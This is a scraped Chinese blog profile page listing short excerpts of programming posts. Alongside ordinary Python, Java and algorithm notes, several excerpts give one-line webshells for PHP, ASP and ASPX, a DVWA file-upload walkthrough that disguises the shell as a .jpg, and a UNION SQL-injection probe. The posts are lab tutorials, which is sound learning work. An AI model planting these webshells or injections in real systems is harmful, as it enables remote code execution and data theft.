自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(18)
  • 收藏
  • 关注

原创 Error code: 2. C-Isoftware\Anaconda\python.exe: can‘t open file ‘C:\software\PyCharm 2022.3.2 jbr\bi

我在网上看到有人说Conda executable这里需要选择conda.exe,而不是python.exe。然而conda.exe只存在于Anaconda3的Scripts目录下,在我新建的虚拟环境spytorch路径下并没有conda.exe。起初我还半信半疑:这样配置的岂不是base环境,那我的spytorch环境咋办嘞?选择conda.exe后点击Load Enviroments,这时下面会加载出来你之前创建的虚拟环境。然后又下载了pycharm,结果往pycharm里配置时报错!

2023-02-10 16:23:44 3740 9

原创 解决Servlet中文乱码问题

由于浏览器默认使用UTF-8码表进行编码,而servlet使用ISO-8859-1码表进行编码,传输和接收方编码不一致导致乱码的产生。由于浏览器默认使用UTF-8码表进行编码,而servlet使用ISO-8859-1码表进行编码,传输和接收方编码不一致导致乱码的产生。第二句目的是设置response使用的码表,控制response以UTF-8码表向浏览器写入数据(必须写在方法中第一行)字节流从表单中提取的参数先用iso8859-1解析,再使用UTF-8码表转化写入。1、 response乱码。

2022-12-01 15:57:03 961

原创 python之注释

快捷键:ctrl+/(选中要注释的代码)单行注释:#多行注释:'''''' 或 """ """

2022-10-11 11:03:38 196

原创 Java之数组篇

数组的元素类型和数组的大小都是确定的,所以当处理数组元素时候,我们通常使用基本循环或者 For-Each 循环。java.util.Arrays 类能方便地操作数组,它提供的所有方法都是静态的。数组变量的声明,和创建数组可以用。第一种可以确定数组的大小。

2022-09-30 00:16:31 147

原创 Java之Scanner类(next与nextLine的区别)

【代码】Java之Scanner类(next与nextLine的区别)

2022-09-29 22:54:52 161

原创 Python的各种数字格式化方式(保留小数)

常见的各种数字格式化方法

2022-09-20 19:36:31 11806

原创 Python判断字符串相等

。。

2022-09-20 18:18:12 3328

原创 Python 中一些细节处理方式

str() 字符串格式提供了多种自定义选项供用户在print语句中进行选择。%符号有时也称为插值或字符串格式化运算符。%%符号和代表转换类型的字母被标记为变量的占位符。以下代码使用模%符号在 Python 中实现字符串和整数连接。{}print函数是在 Python 2.6 中引入的,可用于 Python 2.6 到 Python 3.5 之后发布的所有 Python 版本。以下代码使用函数在 Python 中实现字符串和整数连接。它比其他两个同行,%符号和。

2022-09-13 17:53:28 357

原创 中国蚁剑+burpsuite+webshell文件上传(超完整)

之前:需要打开phpstudy的靶场环境第一步➊准备木马文件 新建木马文件ttx.php,文件内容为<?php @eval($_REQUEST["shell"]); ?>➋保存后,将文件后缀名php改为jpg➌登录dvwa测试环境,将security等级改为‘low’(其它模式,后端也做了校验,无法完成第⑤步的操作),然后打开文件上传模块➍上传文件,选择第②步保存的shell.jpg,在点击‘Upload’之前,打开burpsuite拦截功能并且点击‘Upl

2022-05-14 21:43:13 2860

原创 Linux的常见命令之Debian(yum,apt)

Linux的基本命令(快捷键Ctrl+Alt+T可以打开终端界面):1.查看命令:lsls -l 显示文件列表ls -al -a是显示所有档案及目录 (ls内定将档案名或目录名称开头为"."的视为隐藏档,不会列出)linux几种文件类型:d 表示此文件是一个目录- 表示此文件是一个普通文件b 表示此文件是一个特殊的块设备I/O文件c 表示此文件是一个特殊的字符设备I/O文件l 表示此文件是一个连接文件。在其文件名称后紧跟与它连接的文件路径及名称2.切换目录:cdcd ...

2022-05-08 20:14:10 2521

原创 docker之vulhub靶场环境搭建(Linux)

首先安装pip:curl -s https://bootstrap.pypa.io/get-pip.py | python3再安装docker:curl -s https://get.docker.com/ | sh然后验证docker是否安装成功:docker version安装docker-compose:pip install docker-compose验证docker-compose是否安装成功:docker-compose version需要从G

2022-05-06 18:44:32 3007

原创 蚁剑的使用之蚁剑的核心思想

分析 PHP 一句话木马的原理:php的一句话木马: <?php @eval($_POST['pass']);?>asp的一句话木马是: <%eval request ("pass")%>aspx的一句话木马是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>总结:蚁剑通过连接一句话木马,每个功能操作,都是通过 POST 方式传递不同的执行代

2022-05-05 19:46:07 3084

原创 sql注入之联合查询注入

判断数据显示点 (id一定要改为0或负数)id=0' union select 1,2,3 主要作用:测试数据库表中的有效column是哪几列

2022-05-04 17:23:57 1531

原创 刷题01*数组-1(二分法)

🌟二分法第一种写法第一种写法,我们定义 target 是在一个在左闭右闭的区间里,也就是[left, right] (这个很重要非常重要)。区间的定义这就决定了二分法的代码应该如何写,因为定义target在[left, right]区间,所以有如下两点: while (left <= right) 要使用 <= ,因为left == right是有意义的,所以使用 <= if (nums[middle] > target) right 要赋值为 middle

2022-04-29 09:53:44 73

原创 动态规划思想

动态规划和递归算法的区别本文举例都采用斐波那契数列迭代:循环最优子结构:原问题的最优解,可以通过求解子问题 的最优解进而推出原问题的最优解重叠子问题:在递归中,比如计算f(10),但是会把f (8)或者f(9)等等,进行多次计算;动态规划消除了重 叠子问题,不进行多次重复计算自顶向下:比如求解f(n),需要求得f(n-1),进而计算 出f(n)的解;所以斐波那契数列递归时才会出现f(n-1) + f(n-2)自底向上:我们直接从最底下,最简单,问题规模最小的f(1)和f(2)开始往上推,直到推到

2022-01-14 11:04:25 241

原创 DFS算法思想

深度优先遍历(DFS) 方法:在访问图中某一起始顶点v后,由v出发,访问它的任一邻接顶点w1。再从w1出发,访问与w1邻接接但还未被访问过的顶点w2。然后再从w2出发,进行类似的访问…如此进行下去,直至到达所有的邻接顶点都被访问过的顶点u为止。接着,退回一步,退到前一次刚访问过的顶点,看是否还有其它没有被访问的邻接顶点。如果有,则访问此顶点,之后再从此顶点出发,进行与前述类似的访问;如果没有,就再退回一步进行搜索。重复上述过程,直到连通图中所有顶点都被访问过为止。...

2021-10-29 21:27:04 485

原创 BFS算法思想

广度优先搜索( BFS - Breadth_First Search) 方法:从图的某一结点出发,首先依次访问该结点的所有邻接顶点Vi1, Vi2,…, Vin,再按这些顶点被访问的先后次序依次访问与它们相邻接的所有未被访问的顶点。重复此过程,直至所有顶点均被访问为止。...

2021-10-29 21:26:21 169

原创 汉罗塔问题

n阶汉罗塔(递归算法)#include <bits/stdc++.h>using namespace std;int m=1;void Move (char x,int n,char y){printf("%2d. Move disk %d from %c to %c\n",m,n,x,y);m++;}void hanoi (int n,char x,char y,char z){if (n==1){Move(x,1,z);}else {hanoi (n-1,x,z,y);

2021-10-25 09:37:18 108

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除